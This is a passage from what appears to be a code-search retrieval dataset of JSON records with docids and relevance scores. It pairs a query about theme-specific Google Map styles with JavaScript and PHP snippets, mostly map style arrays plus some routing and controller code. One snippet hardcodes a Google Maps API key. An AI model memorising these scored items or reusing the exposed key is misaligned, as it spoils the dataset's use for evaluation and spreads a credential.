ko.observable();\n self.topNavBarSelection = ko.observable();\n\n function getViewPromise(viewPath) {\n return moduleUtils.createView({viewPath: \"views/styleLab/\" + viewPath});\n }\n\n function getViewModelConstructorPromise(viewModelPath) {\n return viewModelPath ? moduleUtils.createViewModel({viewModelPath: \"viewModels/styleLab/\" + viewModelPath}) : Promise.resolve(null);\n }\n\n self.getModuleConfigPromise = function(viewPath, viewModelPath, viewModelParams) {\n var viewPromise = getViewPromise(viewPath);\n var viewModelConstructorPromise = getViewModelConstructorPromise(viewModelPath);\n return Promise.all([viewPromise, viewModelConstructorPromise]).then(function(values) {\n var view = values[0];\n var viewModelConstructor = values[1];\n var viewModel = viewModelConstructor ? new viewModelConstructor(viewModelParams) : null;\n return {view: view, viewModel: viewModel};\n });\n }\n\n // If an <oj-module> is inside an <oj-bind-if> and the if condition becomes false,\n // knockout will clean the contained DOM tree. If that node tree contains a\n // JET custom component, it cannot be reused if the module becomes reactivated in\n // the future. As a result, this function returns a function that will generate a newly\n // cloned node array each time it is invoked to ensure that the module can safely apply\n // bindings.\n self.createConfigGetter = function(viewPath, viewModelPath, viewModelParams) {\n var viewObservable = ko.observable([]);\n var viewModelConstructor = null;\n function cloneView() {\n var view = viewObservable();\n var clone = new Array(view.length);\n for (var i = 0; i < view.length; i++) {\n clone[i] = view[i].cloneNode(true);\n }\n return clone;\n }\n var viewPromise = getViewPromise(viewPath);\n var viewModelConstructorPromise = getViewModelConstructorPromise(viewModelPath);\n Promise.all([viewPromise, viewModelConstructorPromise]).then(function(values) {\n viewModelConstructor = values[1];\n viewObservable(values[0]);\n });\n var configGetter = function() {\n var viewModel = viewModelConstructor ? new viewModelConstructor(viewModelParams) : null;\n return {view: cloneView(), viewModel:viewModel};\n };\n return configGetter;\n }\n\n self.topNavBarSelectionChanged = function(event) {\n if (event.detail.originalEvent) {\n var routerPath = event.detail.value;\n\n if (routerPath === 'home')\n routerPath += '/' + self.viewRouterSelectionState();\n\n self.router.go(routerPath);\n }\n };\n\n oj.Router.transitionedToState.add(function(result) {\n if (result.hasChanged) {\n var moduleName = self.router.stateId();\n var moduleConfigPromise = self.getModuleConfigPromise(moduleName + \".html\", moduleName, { viewRouterSelectionState: self.viewRouterSelectionState });\n moduleConfigPromise.then(function(config) {\n self.currentModuleConfig(config);\n if (moduleName)\n self.topNavBarSelection(moduleName);\n \n var childViewRouter = self.router.getChildRouter('view');\n if (childViewRouter && childViewRouter.stateId())\n self.viewRouterSelectionState(childViewRouter.stateId()); \n });\n }\n });\n }", "title": "" }, { "docid": "5d7a24a896b06c27b9d9fc348df90d9f", "score": "0.5008949", "text": "function model (model) {\n _store.model(model)\n }", "title": "" }, { "docid": "5d7a24a896b06c27b9d9fc348df90d9f", "score": "0.5008949", "text": "function model (model) {\n _store.model(model)\n }", "title": "" }, { "docid": "60cf3fe22970d52396a23112bd5df940", "score": "0.5004027", "text": "function CatController(model, views) {\n var _this = this;\n\n this._model = model;\n this._views = views;\n\n this._views.selector.listCatClicked.attach(function(sender, args) {\n var targetId = $(args.target).data('cat-id');\n _this.changeCat(targetId);\n });\n this._views.area.countTargetClicked.attach(function() {\n _this.incrementCounter();\n });\n this._views.admin.adminBtnClicked.attach(function() {\n _this.showAdmin();\n });\n this._views.admin.submitlBtnClicked.attach(function(sender, args) {\n _this.addCat(args.target);\n _this.hideAdmin();\n });\n this._views.admin.cancelBtnClicked.attach(function() {\n _this.hideAdmin();\n });\n}", "title": "" }, { "docid": "8d7a74b82abd3559157fc0e3ac40edf5", "score": "0.49931994", "text": "function QueryViewFactory() {\n this.createModelQueryView = function(dataTypeModel, specializedFieldsObj) {\n switch(dataTypeModel) {\n case DataTypeClasses.SUBJECT:\n return new Query.Views.Subject({ model: new Query.SubjectModel(specializedFieldsObj) });\n case DataTypeClasses.SAMPLE:\n return new Query.Views.Sample({ model: new Query.SampleModel(specializedFieldsObj) , biobanks: arguments[2]});\n }\n };\n }", "title": "" } ]
a996c40b88e47645ccc2768afc5d3dd2
Themespecific GoogleMap styles =====================================================
[ { "docid": "ca288087fa750c157973b56afff81d49", "score": "0.8007741", "text": "function plumbing_parts_theme_googlemap_styles($styles) {\n\t\"use strict\";\n\t// Put here your theme-specific code to add GoogleMap styles\n\t// It will be called before GoogleMap init when page is loaded\n\t$styles['greyscale'] = [\n \t{ \"stylers\": [\n \t{ \"saturation\": -100 }\n ]\n }\n\t];\n\t$styles['inverse'] = [\n\t\t{ \"stylers\": [\n\t\t\t{ \"invert_lightness\": true },\n\t\t\t{ \"visibility\": \"on\" }\n\t\t\t]\n\t\t}\n\t];\n\t$styles['simple'] = [\n \t{ stylers: [\n \t{ hue: \"#00ffe6\" },\n { saturation: -20 }\n\t\t\t]\n\t\t},\n\t\t{ featureType: \"road\",\n elementType: \"geometry\",\n stylers: [\n\t\t\t{ lightness: 100 },\n \t{ visibility: \"simplified\" }\n ]\n\t\t},\n\t\t{ featureType: \"road\",\n elementType: \"labels\",\n stylers: [\n \t{ visibility: \"off\" }\n ]\n\t\t}\n\t];\n\treturn $styles;\n}", "title": "" } ]
[ { "docid": "cad475ab3cddea00a82bd3fb55dd0165", "score": "0.8074319", "text": "function micro_office_theme_googlemap_styles($styles) {\n\t\"use strict\";\n\t// Put here your theme-specific code to add GoogleMap styles\n\t// It will be called before GoogleMap init when page is loaded\n\t$styles['greyscale'] = [\n \t{ \"stylers\": [\n \t{ \"saturation\": -100 }\n ]\n }\n\t];\n\t$styles['inverse'] = [\n\t\t{ \"stylers\": [\n\t\t\t{ \"invert_lightness\": true },\n\t\t\t{ \"visibility\": \"on\" }\n\t\t\t]\n\t\t}\n\t];\n\t$styles['simple'] = [\n \t{ stylers: [\n \t{ hue: \"#00ffe6\" },\n { saturation: -20 }\n\t\t\t]\n\t\t},\n\t\t{ featureType: \"road\",\n elementType: \"geometry\",\n stylers: [\n\t\t\t{ lightness: 100 },\n \t{ visibility: \"simplified\" }\n ]\n\t\t},\n\t\t{ featureType: \"road\",\n elementType: \"labels\",\n stylers: [\n \t{ visibility: \"off\" }\n ]\n\t\t}\n\t];\n\t$styles['apple'] = [\n\t\t{ \"featureType\": \"landscape.man_made\",\n\t\t \"elementType\": \"geometry\",\n\t\t \"stylers\": [\n\t\t\t{\"color\":\"#f7f1df\"}\n\t\t\t]\n\t\t},\n\t\t{ \"featureType\": \"landscape.natural\",\n\t\t \"elementType\": \"geometry\",\n\t\t \"stylers\": [\n\t\t \t{\"color\":\"#d0e3b4\"}\n\t\t\t]\n\t\t},\n\t\t{ \"featureType\": \"landscape.natural.terrain\",\n\t\t \"elementType\": \"geometry\",\n\t\t \"stylers\": [\n\t\t \t{\"visibility\":\"off\"}\n\t\t\t]\n\t\t},\n\t\t{ \"featureType\": \"poi\",\n\t\t \"elementType\": \"labels\",\n\t\t \"stylers\": [\n\t\t \t{\"visibility\":\"off\"}\n\t\t\t]\n\t\t},\n\t\t{ \"featureType\": \"poi.business\",\n\t\t \"elementType\": \"all\",\n\t\t \"stylers\": [\n\t\t \t{\"visibility\":\"off\"}\n\t\t\t]\n\t\t},\n\t\t{ \"featureType\": \"poi.medical\",\n\t\t \"elementType\": \"geometry\",\n\t\t \"stylers\": [\n\t\t \t{\"color\":\"#fbd3da\"}\n\t\t\t]\n\t\t},\n\t\t{ \"featureType\": \"poi.park\",\n\t\t \"elementType\": \"geometry\",\n\t\t \"stylers\": [\n\t\t \t{\"color\":\"#bde6ab\"}\n\t\t\t]\n\t\t},\n\t\t{ \"featureType\": \"road\",\n\t\t \"elementType\": \"geometry.stroke\",\n\t\t \"stylers\": [\n\t\t \t{\"visibility\":\"off\"}\n\t\t\t]\n\t\t},\n\t\t{ \"featureType\": \"road\",\n\t\t \"elementType\": \"labels\",\n\t\t \"stylers\": [\n\t\t \t{\"visibility\":\"off\"}\n\t\t\t]\n\t\t},\n\t\t{ \"featureType\": \"road.highway\",\n\t\t \"elementType\": \"geometry.fill\",\n\t\t \"stylers\": [\n\t\t \t{\"color\":\"#ffe15f\"}\n\t\t\t]\n\t\t},\n\t\t{ \"featureType\": \"road.highway\",\n\t\t \"elementType\":\"geometry.stroke\",\n\t\t \"stylers\": [\n\t\t \t{\"color\":\"#efd151\"}\n\t\t \t]\n\t\t},\n\t\t{ \"featureType\": \"road.arterial\",\n\t\t \"elementType\": \"geometry.fill\",\n\t\t \"stylers\": [\n\t\t \t{\"color\":\"#ffffff\"}\n\t\t\t]\n\t\t},\n\t\t{ \"featureType\": \"road.local\",\n\t\t \"elementType\": \"geometry.fill\",\n\t\t \"stylers\": [\n\t\t \t{\"color\":\"black\"}\n\t\t\t]\n\t\t},\n\t\t{ \"featureType\": \"transit.station.airport\",\n\t\t \"elementType\": \"geometry.fill\",\n\t\t \"stylers\": [\n\t\t \t{\"color\":\"#cfb2db\"}\n\t\t\t]\n\t\t},\n\t\t{ \"featureType\": \"water\",\n\t\t \"elementType\": \"geometry\",\n\t\t \"stylers\": [\n\t\t \t{\"color\":\"#a2daf2\"}\n\t\t\t]\n\t\t}\n\t];\n\treturn $styles;\n}", "title": "" }, { "docid": "1bdbc79e293127a90f4e1b46b7bb80ed", "score": "0.7268373", "text": "function setStyles(){\n\tstyledMapType = new google.maps.StyledMapType(\n [\n\t\t\t{elementType: 'geometry', stylers: [{color: '#242f3e'}]},\n {elementType: 'labels.text.stroke', stylers: [{color: '#242f3e'}]},\n {elementType: 'labels.text.fill', stylers: [{color: '#746855'}]},\n {\n featureType: 'administrative.locality',\n elementType: 'labels.text.fill',\n stylers: [{color: '#d59563'}]\n },\n {\n featureType: 'poi',\n elementType: 'labels.text.fill',\n stylers: [{color: '#d59563'}]\n },\n {\n featureType: 'poi.park',\n elementType: 'geometry',\n stylers: [{color: '#263c3f'}]\n },\n {\n featureType: 'poi.park',\n elementType: 'labels.text.fill',\n stylers: [{color: '#6b9a76'}]\n },\n {\n featureType: 'road',\n elementType: 'geometry',\n stylers: [{color: '#38414e'}]\n },\n {\n featureType: 'road',\n elementType: 'geometry.stroke',\n stylers: [{color: '#212a37'}]\n },\n {\n featureType: 'road',\n elementType: 'labels.text.fill',\n stylers: [{color: '#9ca5b3'}]\n },\n {\n featureType: 'road.highway',\n elementType: 'geometry',\n stylers: [{color: '#746855'}]\n },\n {\n featureType: 'road.highway',\n elementType: 'geometry.stroke',\n stylers: [{color: '#1f2835'}]\n },\n {\n featureType: 'road.highway',\n elementType: 'labels.text.fill',\n stylers: [{color: '#f3d19c'}]\n },\n {\n featureType: 'transit',\n elementType: 'geometry',\n stylers: [{color: '#2f3948'}]\n },\n {\n featureType: 'transit.station',\n elementType: 'labels.text.fill',\n stylers: [{color: '#d59563'}]\n },\n {\n featureType: 'water',\n elementType: 'geometry',\n stylers: [{color: '#17263c'}]\n },\n {\n featureType: 'water',\n elementType: 'labels.text.fill',\n stylers: [{color: '#515c6d'}]\n },\n {\n featureType: 'water',\n elementType: 'labels.text.stroke',\n stylers: [{color: '#17263c'}]\n }\n ],\n {name: 'Dark Map'});\n\t\t\tstyledMapType2 = new google.maps.StyledMapType(\n [\n {elementType: 'geometry', stylers: [{color: '#ebe3cd'}]},\n {elementType: 'labels.text.fill', stylers: [{color: '#523735'}]},\n {elementType: 'labels.text.stroke', stylers: [{color: '#f5f1e6'}]},\n {\n featureType: 'administrative',\n elementType: 'geometry.stroke',\n stylers: [{color: '#c9b2a6'}]\n },\n {\n featureType: 'administrative.land_parcel',\n elementType: 'geometry.stroke',\n stylers: [{color: '#dcd2be'}]\n },\n {\n featureType: 'administrative.land_parcel',\n elementType: 'labels.text.fill',\n stylers: [{color: '#ae9e90'}]\n },\n {\n featureType: 'landscape.natural',\n elementType: 'geometry',\n stylers: [{color: '#dfd2ae'}]\n },\n {\n featureType: 'poi',\n elementType: 'geometry',\n stylers: [{color: '#dfd2ae'}]\n },\n {\n featureType: 'poi',\n elementType: 'labels.text.fill',\n stylers: [{color: '#93817c'}]\n },\n {\n featureType: 'poi.park',\n elementType: 'geometry.fill',\n stylers: [{color: '#a5b076'}]\n },\n {\n featureType: 'poi.park',\n elementType: 'labels.text.fill',\n stylers: [{color: '#447530'}]\n },\n {\n featureType: 'road',\n elementType: 'geometry',\n stylers: [{color: '#f5f1e6'}]\n },\n {\n featureType: 'road.arterial',\n elementType: 'geometry',\n stylers: [{color: '#fdfcf8'}]\n },\n {\n featureType: 'road.highway',\n elementType: 'geometry',\n stylers: [{color: '#f8c967'}]\n },\n {\n featureType: 'road.highway',\n elementType: 'geometry.stroke',\n stylers: [{color: '#e9bc62'}]\n },\n {\n featureType: 'road.highway.controlled_access',\n elementType: 'geometry',\n stylers: [{color: '#e98d58'}]\n },\n {\n featureType: 'road.highway.controlled_access',\n elementType: 'geometry.stroke',\n stylers: [{color: '#db8555'}]\n },\n {\n featureType: 'road.local',\n elementType: 'labels.text.fill',\n stylers: [{color: '#806b63'}]\n },\n {\n featureType: 'transit.line',\n elementType: 'geometry',\n stylers: [{color: '#dfd2ae'}]\n },\n {\n featureType: 'transit.line',\n elementType: 'labels.text.fill',\n stylers: [{color: '#8f7d77'}]\n },\n {\n featureType: 'transit.line',\n elementType: 'labels.text.stroke',\n stylers: [{color: '#ebe3cd'}]\n },\n {\n featureType: 'transit.station',\n elementType: 'geometry',\n stylers: [{color: '#dfd2ae'}]\n },\n {\n featureType: 'water',\n elementType: 'geometry.fill',\n stylers: [{color: '#b9d3c2'}]\n },\n {\n featureType: 'water',\n elementType: 'labels.text.fill',\n stylers: [{color: '#92998d'}]\n }\n ],\n {name: 'Afternoon Map'});\n}", "title": "" }, { "docid": "ff9e101be9e1dc7468392a556203ba8d", "score": "0.7114585", "text": "function initMap() {\n map = new google.maps.Map(gMap, {\n center: location,\n zoom: 10,\n styles: [\n {\n \"elementType\": \"geometry\",\n \"stylers\": [{\"color\": \"#f5f5f5\"}]\n },\n {\n \"elementType\": \"labels.icon\",\n \"stylers\": [{\"visibility\": \"off\"}]\n },\n {\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [{\"color\": \"#616161\"}]\n },\n {\n \"elementType\": \"labels.text.stroke\",\n \"stylers\": [{\"color\": \"#f5f5f5\"}]\n },\n {\n \"featureType\": \"administrative.land_parcel\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [{\"color\": \"#bdbdbd\"}]\n },\n {\n \"featureType\": \"poi\",\n \"elementType\": \"geometry\",\n \"stylers\": [{\"color\": \"#eeeeee\"}]\n },\n {\n \"featureType\": \"poi\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [{\"color\": \"#757575\"}]\n },\n {\n \"featureType\": \"poi.park\",\n \"elementType\": \"geometry\",\n \"stylers\": [{\"color\": \"#e5e5e5\"}]\n },\n {\n \"featureType\": \"poi.park\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [{\"color\": \"#9e9e9e\"}]\n },\n {\n \"featureType\": \"road\",\n \"elementType\": \"geometry\",\n \"stylers\": [{\"color\": \"#ffffff\"}]\n },\n {\n \"featureType\": \"road.arterial\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [{\"color\": \"#757575\"}]\n },\n {\n \"featureType\": \"road.highway\",\n \"elementType\": \"geometry\",\n \"stylers\": [{\"color\": \"#dadada\"}]\n },\n {\n \"featureType\": \"road.highway\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [{\"color\": \"#616161\"}]\n },\n {\n \"featureType\": \"road.local\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [{\"color\": \"#9e9e9e\"}]\n },\n {\n \"featureType\": \"transit.line\",\n \"elementType\": \"geometry\",\n \"stylers\": [{\"color\": \"#e5e5e5\"}]\n },\n {\n \"featureType\": \"transit.station\",\n \"elementType\": \"geometry\",\n \"stylers\": [{\"color\": \"#eeeeee\"}]\n },\n {\n \"featureType\": \"water\",\n \"elementType\": \"geometry\",\n \"stylers\": [{\"color\": \"#c9c9c9\"}]\n },\n {\n \"featureType\": \"water\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [{\"color\": \"#9e9e9e\"}]\n }\n ]\n });\n\n // Set Marker for the Map including Drop Animation\n let marker = new google.maps.Marker({\n position: location,\n map: map,\n animation: google.maps.Animation.DROP\n });\n }", "title": "" }, { "docid": "5e165cb51ed0afc3c9713b13a799f588", "score": "0.7024447", "text": "function initMap() {\n var pyrmont = new google.maps.LatLng(33.4483771,-112.0740372999999);\n\n map = new google.maps.Map(document.getElementById('map'), {\n center: pyrmont,\n zoom: 13,\n styles:\n\n\n // white and grey style for map\n [\n {\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#f5f5f5\"\n }\n ]\n },\n {\n \"elementType\": \"labels.icon\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#616161\"\n }\n ]\n },\n {\n \"elementType\": \"labels.text.stroke\",\n \"stylers\": [\n {\n \"color\": \"#f5f5f5\"\n }\n ]\n },\n {\n \"featureType\": \"administrative.land_parcel\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#bdbdbd\"\n }\n ]\n },\n {\n \"featureType\": \"poi\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#eeeeee\"\n }\n ]\n },\n {\n \"featureType\": \"poi\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#757575\"\n }\n ]\n },\n {\n \"featureType\": \"poi.park\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#e5e5e5\"\n }\n ]\n },\n {\n \"featureType\": \"poi.park\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#9e9e9e\"\n }\n ]\n },\n {\n \"featureType\": \"road\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#ffffff\"\n }\n ]\n },\n {\n \"featureType\": \"road.arterial\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#757575\"\n }\n ]\n },\n {\n \"featureType\": \"road.highway\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#dadada\"\n }\n ]\n },\n {\n \"featureType\": \"road.highway\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#616161\"\n }\n ]\n },\n {\n \"featureType\": \"road.local\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#9e9e9e\"\n }\n ]\n },\n {\n \"featureType\": \"transit.line\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#e5e5e5\"\n }\n ]\n },\n {\n \"featureType\": \"transit.station\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#eeeeee\"\n }\n ]\n },\n {\n \"featureType\": \"water\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#c9c9c9\"\n }\n ]\n },\n {\n \"featureType\": \"water\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#9e9e9e\"\n }\n ]\n }\n ]\n });\n\n\n infoWindow = new google.maps.InfoWindow;\n\n //use location or destination\n if(localStorage.getItem('mainL')){\n //get radius\n if(localStorage.getItem('mainD')){\n var distance = localStorage.getItem('mainD') * 1609.34;\n }else{\n var distance = 500;\n }\n var customLoc =localStorage.getItem('mainL');\n\n console.log(\"hitting this\");\n\n $.get(`https://maps.googleapis.com/maps/api/geocode/json?address=${customLoc}&key=AIzaSyBPM590byZIlUBoDC3Nq5E9yxTEFdT1gH8`, function(data) {\n\n let newPOS = data.results[\"0\"].geometry.location;\n console.log(newPOS);\n\n\n let newRequest = {\n center: newPOS,\n location: newPOS,\n radius: 500,\n query: 'coffee'\n }\n\n console.log(newRequest);\n infoWindow.setPosition(newPOS);\n infoWindow.setContent('New location.');\n infoWindow.open(map);\n map.setCenter(newPOS);\n service.textSearch(newRequest, callback);\n\n\n localStorage.removeItem(\"mainL\");\n localStorage.removeItem(\"mainD\");\n\n })\n\n\n }else{\n //geolocation get and assign position if available.\n if (navigator.geolocation) {\n navigator.geolocation.getCurrentPosition(function(position) {\n var pos = {\n lat: position.coords.latitude,\n lng: position.coords.longitude\n };\n request = {\n center: pos,\n location: pos,\n radius: '200',\n query: 'coffee'\n };\n\n infoWindow.setPosition(pos);\n infoWindow.setContent('You are here.');\n infoWindow.open(map);\n map.setCenter(pos);\n service.textSearch(request, callback);\n }, function() {\n handleLocationError(true, infoWindow, map.getCenter());\n\n });\n } else {\n // Browser doesn't support Geolocation\n handleLocationError(false, infoWindow, map.getCenter());\n }\n }\n service = new google.maps.places.PlacesService(map);\n}", "title": "" }, { "docid": "95b88dd0db94eb971675c55516f35853", "score": "0.6958471", "text": "function chocorocco_trx_addons_add_googlemap_styles(e) {\n\t\tif (typeof TRX_ADDONS_STORAGE == 'undefined') return;\n\t\tTRX_ADDONS_STORAGE['googlemap_styles']['dark'] = [{\"featureType\":\"all\",\"elementType\":\"labels.text.fill\",\"stylers\":[{\"saturation\":36},{\"color\":\"#333333\"},{\"lightness\":40}]},{\"featureType\":\"all\",\"elementType\":\"labels.text.stroke\",\"stylers\":[{\"visibility\":\"on\"},{\"color\":\"#ffffff\"},{\"lightness\":16}]},{\"featureType\":\"all\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"administrative\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#fefefe\"},{\"lightness\":20}]},{\"featureType\":\"administrative\",\"elementType\":\"geometry.stroke\",\"stylers\":[{\"color\":\"#fefefe\"},{\"lightness\":17},{\"weight\":1.2}]},{\"featureType\":\"landscape\",\"elementType\":\"geometry\",\"stylers\":[{\"lightness\":20},{\"color\":\"#13162b\"}]},{\"featureType\":\"poi\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#13162b\"},{\"lightness\":21}]},{\"featureType\":\"poi.park\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#5fc6ca\"},{\"lightness\":21}]},{\"featureType\":\"road\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"simplified\"},{\"color\":\"#cccdd2\"}]},{\"featureType\":\"road\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#13162b\"}]},{\"featureType\":\"road\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#ff0000\"}]},{\"featureType\":\"road.highway\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#13162b\"},{\"lightness\":17}]},{\"featureType\":\"road.highway\",\"elementType\":\"geometry.stroke\",\"stylers\":[{\"color\":\"#ffffff\"},{\"lightness\":29},{\"weight\":0.2}]},{\"featureType\":\"road.arterial\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#13162b\"},{\"lightness\":18}]},{\"featureType\":\"road.local\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#13162b\"},{\"lightness\":16}]},{\"featureType\":\"transit\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#13162b\"},{\"lightness\":19}]},{\"featureType\":\"water\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#f4f9fc\"},{\"lightness\":17}]}];\n\t\tTRX_ADDONS_STORAGE['googlemap_styles']['grey'] = [\n {\n \"featureType\": \"all\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"saturation\": 36\n },\n {\n \"color\": \"#a79a7a\"\n },\n {\n \"lightness\": \"-6\"\n }\n ]\n },\n {\n \"featureType\": \"all\",\n \"elementType\": \"labels.text.stroke\",\n \"stylers\": [\n {\n \"visibility\": \"on\"\n },\n {\n \"color\": \"#ffffff\"\n },\n {\n \"lightness\": 16\n }\n ]\n },\n {\n \"featureType\": \"all\",\n \"elementType\": \"labels.icon\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"featureType\": \"administrative\",\n \"elementType\": \"geometry.fill\",\n \"stylers\": [\n {\n \"color\": \"#f0efe9\"\n },\n {\n \"lightness\": 20\n }\n ]\n },\n {\n \"featureType\": \"administrative\",\n \"elementType\": \"geometry.stroke\",\n \"stylers\": [\n {\n \"color\": \"#fefefe\"\n },\n {\n \"lightness\": 17\n },\n {\n \"weight\": 1.2\n }\n ]\n },\n {\n \"featureType\": \"landscape\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#f0efe9\"\n },\n {\n \"lightness\": 20\n }\n ]\n },\n {\n \"featureType\": \"poi\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#f0efe9\"\n },\n {\n \"lightness\": 21\n }\n ]\n },\n {\n \"featureType\": \"poi.park\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#f0efe9\"\n },\n {\n \"lightness\": 21\n }\n ]\n },\n {\n \"featureType\": \"road.highway\",\n \"elementType\": \"geometry.fill\",\n \"stylers\": [\n {\n \"color\": \"#f0c96a\"\n },\n {\n \"lightness\": 17\n }\n ]\n },\n {\n \"featureType\": \"road.highway\",\n \"elementType\": \"geometry.stroke\",\n \"stylers\": [\n {\n \"color\": \"#ffffff\"\n },\n {\n \"lightness\": 29\n },\n {\n \"weight\": 0.2\n }\n ]\n },\n {\n \"featureType\": \"road.arterial\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#a79a7a\"\n },\n {\n \"lightness\": \"-1\"\n }\n ]\n },\n {\n \"featureType\": \"road.local\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#ffffff\"\n },\n {\n \"lightness\": 16\n }\n ]\n },\n {\n \"featureType\": \"transit\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#f2f2f2\"\n },\n {\n \"lightness\": 19\n }\n ]\n },\n {\n \"featureType\": \"water\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#a79a7a\"\n },\n {\n \"lightness\": \"65\"\n }\n ]\n }\n ];\n\t}", "title": "" }, { "docid": "5e9464beb8d162f4c741b6a03ef1c75d", "score": "0.6927", "text": "function initMap() {\n var styledMapType = new google.maps.StyledMapType(\n [\n {\n \"featureType\": \"administrative\",\n \"elementType\": \"labels\",\n \"stylers\": [\n {\n \"lightness\": -100\n }\n ]\n },\n {\n \"featureType\": \"administrative\",\n \"elementType\": \"labels.text\",\n \"stylers\": [\n {\n \"color\": \"#000000\"\n },\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"featureType\": \"landscape\",\n \"elementType\": \"all\",\n \"stylers\": [\n {\n \"visibility\": \"on\"\n },\n {\n \"color\": \"#ffffff\"\n }\n ]\n },\n {\n \"featureType\": \"landscape.natural\",\n \"elementType\": \"all\",\n \"stylers\": [\n {\n \"saturation\": -100\n },\n {\n \"lightness\": -8\n },\n {\n \"visibility\": \"on\"\n },\n {\n \"color\": \"#ffffff\"\n }\n ]\n },\n {\n \"featureType\": \"poi\",\n \"elementType\": \"all\",\n \"stylers\": [\n {\n \"saturation\": -100\n },\n {\n \"lightness\": -100\n },\n {\n \"visibility\": \"off\"\n },\n {\n \"hue\": \"#ff0000\"\n }\n ]\n },\n {\n \"featureType\": \"road\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"saturation\": -100\n },\n {\n \"lightness\": -100\n },\n {\n \"visibility\": \"simplified\"\n },\n {\n \"color\": \"#909090\"\n }\n ]\n },\n {\n \"featureType\": \"road\",\n \"elementType\": \"labels\",\n \"stylers\": [\n {\n \"saturation\": -100\n },\n {\n \"lightness\": -100\n },\n {\n \"visibility\": \"simplified\"\n },\n {\n \"color\": \"#000000\"\n }\n ]\n },\n {\n \"featureType\": \"road\",\n \"elementType\": \"labels.icon\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"featureType\": \"transit\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"lightness\": -100\n },\n {\n \"visibility\": \"simplified\"\n },\n {\n \"color\": \"#b0b0b0\"\n }\n ]\n },\n {\n \"featureType\": \"transit\",\n \"elementType\": \"labels\",\n \"stylers\": [\n {\n \"hue\": \"#ff0000\"\n },\n {\n \"lightness\": -100\n },\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"featureType\": \"water\",\n \"elementType\": \"all\",\n \"stylers\": [\n {\n \"visibility\": \"on\"\n },\n {\n \"color\": \"#d9d9d9\"\n }\n ]\n },\n {\n \"featureType\": \"water\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"saturation\": -100\n },\n {\n \"lightness\": 100\n },\n {\n \"visibility\": \"on\"\n },\n {\n \"color\": \"#e0e0e0\"\n }\n ]\n },\n {\n \"featureType\": \"water\",\n \"elementType\": \"labels\",\n \"stylers\": [\n {\n \"hue\": \"#000000\"\n },\n {\n \"saturation\": -100\n },\n {\n \"lightness\": -100\n },\n {\n \"visibility\": \"off\"\n }\n ]\n }\n ],\n {name: 'Styled Map'});\n \n // The location of High Brow Scottdale\n var highBrowScottsdale = {lat: 33.492460, lng: -111.927120};\n // The map, centered at High Brow Scottdale\n var map = new google.maps.Map(document.getElementById('map'), {\n // source: url='https://maps.googleapis.com/maps/api/js?key='+ mykey + '&callback=initMap',\n center: {lat: 33.492460, lng: -111.927120},\n zoom: 18,\n });\n // The marker, positioned at High Brow Scottdale\n var marker = new google.maps.Marker({\n position: highBrowScottsdale,\n icon: URL=\"www.highbrowscottsdalassets/icons/favicon-32x32.pnge.com\",\n map: map\n });\n\n //Associate the styled map with the MapTypeId and set it to display.\n map.mapTypes.set('styled_map', styledMapType);\n map.setMapTypeId('styled_map');\n }", "title": "" }, { "docid": 